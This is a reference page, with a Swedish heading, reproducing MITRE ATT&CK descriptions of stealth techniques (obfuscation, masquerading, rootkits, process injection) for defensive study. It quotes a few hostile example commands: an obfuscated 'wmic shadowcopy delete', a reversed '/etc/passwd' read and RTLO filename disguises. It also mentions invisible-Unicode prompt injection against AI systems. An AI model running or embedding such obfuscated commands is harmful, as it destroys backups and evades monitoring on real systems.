Stealth

MITRE ATT&CK – Stealth

1.Kravtext (engelskt original)#

The adversary is trying to hide and conceal their actions, appearing as normal behavior.

Stealth consists of techniques that reduce the likelihood of detection by blending in with legitimate activity or minimizing observable signals. These techniques are characterized by concealment behaviors, such as avoiding, obfuscating, or mimicking normal operations, without modifying security controls or compromising collection and monitoring feeds. The goal is to remain indistinguishable from benign activity while leaving defensive systems intact.

T1006 – Direct Volume Access#

Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools.(Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as vssadmin, wbadmin, and esentutl) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)

T1014 – Rootkit#

Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits)

Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor or System Firmware. (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)

Rootkits that reside or modify boot sectors are known as Bootkits and specifically target the boot process of the operating system.

T1027 – Obfuscated Files or Information#

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.(Citation: Volexity PowerDuke November 2016) Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.(Citation: Linux/Cdorked.A We Live Security Analysis) Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.(Citation: Carbon Black Obfuscation Sept 2016)

Adversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)

T1027.001 – Binary Padding

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations.

Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ)

T1027.002 – Software Packing

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing)

T1027.003 – Steganography

Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.

Duqu was an early example of malware that used steganography. It encrypted the gathered information from a victim’s system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)

By the end of 2017, a threat group used <code>Invoke-PSImage</code> to hide PowerShell commands in an image file (.png) and execute the code on a victim’s system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim’s machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)

T1027.004 – Compile After Delivery

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as ilasm.exe(Citation: ATTACK IQ), csc.exe, or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a Phishing. Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

T1027.005 – Indicator Removal from Tools

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

T1027.006 – HTML Smuggling

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads.(Citation: HTML Smuggling Menlo Security 2020)(Citation: Outlflank HTML Smuggling 2018)

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as <code>text/plain</code> and/or <code>text/html</code>. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. Deobfuscate/Decode Files or Information), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as <code>msSaveBlob</code>.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outlflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)

T1027.007 – Dynamic API Resolution

Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various Native API functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.

API functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)

To avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to Software Packing, dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.

Various methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as GetProcAddress() and LoadLibrary(). These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of Deobfuscate/Decode Files or Information during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)

T1027.008 – Stripped Payloads

Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s linker when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)

Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of AppleScript, to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)

T1027.009 – Embedded Payloads

Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to Subvert Trust Controls by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)

Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to Steganography, though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)

For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)

Embedded content may also be used as Process Injection payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)

T1027.010 – Command Obfuscation

Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., Phishing and Drive-by Compromise) or interactively via Command and Scripting Interpreter.(Citation: Akamai JS)(Citation: Malware Monday VBE)

For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing, ^, +. , and%) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (“Wor”+“d.Application”), order and casing of characters (rev <<<‘dwssap/cte/ tac’), globing (mkdir -p ‘/tmp/:&$NiA’`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)

Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (C:\voi\pcw\..\..\Windows\tei\qs\k\..\..\..\system32\erool\..\wbem\wg\je\..\..\wmic.exe shadowcopy delete).(Citation: Twitter Richard WMIC)

Tools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)

T1027.011 – Fileless Storage

Adversaries may store data in “fileless” formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage in Windows systems include the Windows Registry, event logs, or WMI repository.(Citation: Microsoft Fileless)(Citation: SecureList Fileless) Shared memory directories on Linux systems (/dev/shm, /run/shm, /var/run, and /var/lock) and volatile directories on Network Devices (/tmp and /volatile) may also be considered fileless storage, as files written to these directories are mapped directly to RAM and not stored on the disk.(Citation: Elastic Binary Executed from Shared Memory Directory)(Citation: Akami Frog4Shell 2024)(Citation: Aquasec Muhstik Malware 2024)(Citation: Bitsight 7777 Botnet)(Citation: CISCO Nexus 900 Config).

Similar to fileless in-memory behaviors such as Reflective Code Loading and Process Injection, fileless data storage may remain undetected by antivirus and other endpoint security tools that can only access specific file formats from disk storage. Leveraging fileless storage may also allow adversaries to bypass the protections offered by read-only file systems in Linux.(Citation: Sysdig Fileless Malware 23022)

Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of Persistence) and collected data not yet exfiltrated from the victim (e.g., Local Data Staging). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.

Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., %SystemRoot%\System32\Wbem\Repository) or Registry (e.g., %SystemRoot%\System32\Config) physical files.(Citation: Microsoft Fileless)

T1027.012 – LNK Icon Smuggling

Adversaries may smuggle commands to download malicious payloads past content filters by hiding them within otherwise seemingly benign windows shortcut files. Windows shortcut files (.LNK) include many metadata fields, including an icon location field (also known as the IconEnvironmentDataBlock) designed to specify the path to an icon file that is to be displayed for the LNK file within a host directory.

Adversaries may abuse this LNK metadata to download malicious payloads. For example, adversaries have been observed using LNK files as phishing payloads to deliver malware. Once invoked (e.g., Malicious File), payloads referenced via external URLs within the LNK icon location field may be downloaded. These files may also then be invoked by Command and Scripting Interpreter/System Binary Proxy Execution arguments within the target path field of the LNK.(Citation: Unprotect Shortcut)(Citation: Booby Trap Shortcut 2017)

LNK Icon Smuggling may also be utilized post compromise, such as malicious scripts executing an LNK on an infected host to download additional malicious payloads.

T1027.013 – Encrypted/Encoded File

Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.

This type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.

The entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.

For example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution).(Citation: SFX - Encrypted/Encoded File)

Adversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.

T1027.014 – Polymorphic Code

Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution.(Citation: polymorphic-blackberry) With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.(Citation: polymorphic-sentinelone) Other obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File.(Citation: polymorphic-linkedin)(Citation: polymorphic-medium)

T1027.015 – Compression

Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).(Citation: Trustwave Pillowmint June 2020)

In order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.(Citation: Perception Point)

File archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File).(Citation: NTT Security Flagpro new December 2021) However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.(Citation: The Hacker News)

Compression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.

T1027.016 – Junk Code Insertion

Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.(Citation: ReasonLabs)(Citation: ReasonLabs Cyberpedia Junk Code)

No-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.(Citation: ReasonLabs)

The use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.

T1027.017 – SVG Smuggling

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign SVG files.(Citation: Trustwave SVG Smuggling 2025) SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include <script> tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files.

SVG smuggling can take a number of forms. For example, threat actors may include content that:

• Assembles malicious payloads(Citation: Talos SVG Smuggling 2022)
• Downloads malicious payloads(Citation: Cofense SVG Smuggling 2024)
• Redirects users to malicious websites(Citation: Bleeping Computer SVG Smuggling 2024)
• Displays interactive content to users, such as fake login forms and download buttons.(Citation: Bleeping Computer SVG Smuggling 2024)

SVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file.(Citation: Talos SVG Smuggling 2022) SVGs may also be included in other types of documents, such as PDFs.

T1027.018 – Invisible Unicode

Adversaries may abuse invisible or non-printing Unicode characters to conceal malicious content within files, scripts, or text. By inserting characters that do not visibly render, adversaries may hide data, alter how content is interpreted, or make malicious code appear as benign text or whitespace. Adversaries may encode these malicious payloads, using binary, Base64, or custom schemes, to be reconstructed at runtime through scripting features such as JavaScript Proxy traps, eval(), or other dynamic execution methods. This technique enables adversaries to evade visual inspection and basic static analysis by hiding malicious encoded content in innocuous text.(Citation: PUAs Unicode - Eriksen)(Citation: Tycoon2FA - Unicode)(Citation: Unicode - Veracode)

Unicode is a standardized character encoding model that assigns a unique numerical value, known as a code point, to every character across writing systems, enabling consistent text representation across platforms, applications, and languages. Code points are represented as U+ followed by a hexadecimal value and may be encoded using formats such as UTF-8 or UTF-16. Adversaries may abuse the valid code points in Unicode that are not visibly rendered but still take up bytes, such as zero-width spaces, variation selectors, or bidirectional formatting controls, to conceal malicious payloads.(Citation: Tycoon2FA - Unicode)(Citation: GlassWorm - Unicode)(Citation: Unicode and Hidden Prompts - Perets)

Adversaries may additionally exploit Private Use Area (PUA) characters, a range of code points reserved for custom assignment. PUA characters that are not defined by a font or application are typically rendered blank.(Citation: PUAs Unicode - Eriksen)

Unicode characters may also be leveraged in support of other techniques such as Phishing, Right-to-Left Override, or User Execution. For example, some adversaries may embed artificial intelligence (AI) prompt injections using invisible Unicode characters in emails or documents that appear benign when processed by AI systems.(Citation: LLMs and Unicode - Medium)(Citation: Invisible Prompt Injection - Trend Micro)

T1036 – Masquerading#

Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

Renaming abusable system utilities to evade security monitoring is also a form of Masquerading.(Citation: LOLBAS Main Site)

T1036.001 – Invalid Code Signature

Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)

Unlike Code Signing, this activity will not result in a valid signature.

T1036.002 – Right-to-Left Override

Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>. A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)

Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with Spearphishing Attachment/Malicious File since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.

T1036.003 – Rename Legitimate Utilities

Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython.(Citation: LOLBAS Main Site)(Citation: Huntress Python Malware 2025)(Citation: The DFIR Report AutoHotKey 2023)(Citation: Splunk Detect Renamed PSExec) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)

T1036.004 – Masquerade Task or Service

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

T1036.005 – Match Legitimate Resource Name or Location

Adversaries may match or approximate the name or location of legitimate files, Registry keys, or other resources when naming/placing them. This is done for the sake of evading defenses and observation.

This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). Alternatively, a Windows Registry key may be given a close approximation to a key used by a legitimate program. In containerized environments, a threat actor may create a resource in a trusted namespace or one that matches the naming convention of a container pod or cluster.(Citation: Aquasec Kubernetes Backdoor 2023)

T1036.006 – Space after Filename

Adversaries can hide a program’s true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.

For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).

Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.

T1036.007 – Double File Extension

Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension)

Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain Initial Access into a user’s system via Spearphishing Attachment then User Execution. For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)

Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.

T1036.008 – Masquerade File Type

Adversaries may masquerade malicious payloads as legitimate files through changes to the payload’s formatting, including the file’s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file’s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file’s type. For example, the header of a JPEG file, is <code> 0xFF 0xD8</code> and the file extension is either .JPE, .JPEG or .JPG.

Adversaries may edit the header’s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., Ingress Tool Transfer) and stored (e.g., Upload Malware) so that adversaries may move their malware without triggering detections.

Common non-executable file types and extensions, such as text files (.txt) and image files (.jpg, .gif, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of <code>test.gif</code>. A user may not know that a file is malicious due to the benign appearance and file extension.

Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)

T1036.009 – Break Process Trees

An adversary may attempt to evade process tree-based analysis by modifying executed malware’s parent process ID (PPID). If endpoint protection software leverages the “parent-child” relationship for detection, breaking this relationship could result in the adversary’s behavior not being associated with previous process tree activity. On Unix-based systems breaking this process tree is common practice for administrators to execute software using scripts and programs.(Citation: 3OHA double-fork 2022)

On Linux systems, adversaries may execute a series of Native API calls to alter malware’s process tree. For example, adversaries can execute their payload without any arguments, call the fork() API call twice, then have the parent process exit. This creates a grandchild process with no parent process that is immediately adopted by the init system process (PID 1), which successfully disconnects the execution of the adversary’s payload from its previous process tree.

Another example is using the “daemon” syscall to detach from the current parent process and run in the background.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)

T1036.010 – Masquerade Account Name

Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name.(Citation: Huntress MOVEit 2023)

Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management.(Citation: Elastic CUBA Ransomware 2022)(Citation: Aquasec Kubernetes Attack 2023) They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.”(Citation: Invictus IR Cloud Ransomware 2024) Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery.

Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.

T1036.011 – Overwrite Process Arguments

Adversaries may modify a process’s in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process’s stack and passes them to the main() function as the argv array. The first element, argv[0], typically contains the process name or path - by default, the command used to actually start the process (e.g., cat /etc/passwd). By default, the Linux /proc filesystem uses this value to represent the process name. The /proc/<PID>/cmdline file reflects the contents of this memory, and tools like ps use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges.

During runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by argv[0] to mimic a benign command, such as cat resolv.conf. The new command-line string is reflected in /proc/<PID>/cmdline and displayed by tools like ps.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022)

T1036.012 – Browser Fingerprint

Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc. The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.(Citation: Mozilla User Agent)

Adversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.(Citation: Gummy Browsers Targeted Browser Spoofing against State-of-the-Art Fingerprinting Techniques)

T1055 – Process Injection#

Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

There are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific.

More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.

T1055.001 – Dynamic-link Library Injection

Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.

DLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017)

Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017)

Another variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module’s <code>AddressOfEntryPoint</code> before starting a new thread in the target process.(Citation: Module Stomping for Shellcode Injection) This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk.(Citation: Hiding Malicious Code with Module Stomping)

Running code in the context of another process may allow access to the process’s memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.

T1055.002 – Portable Executable Injection

Adversaries may inject portable executables (PE) into processes in order to evade process-based defenses as well as possibly elevate privileges. PE injection is a method of executing arbitrary code in the address space of a separate live process.

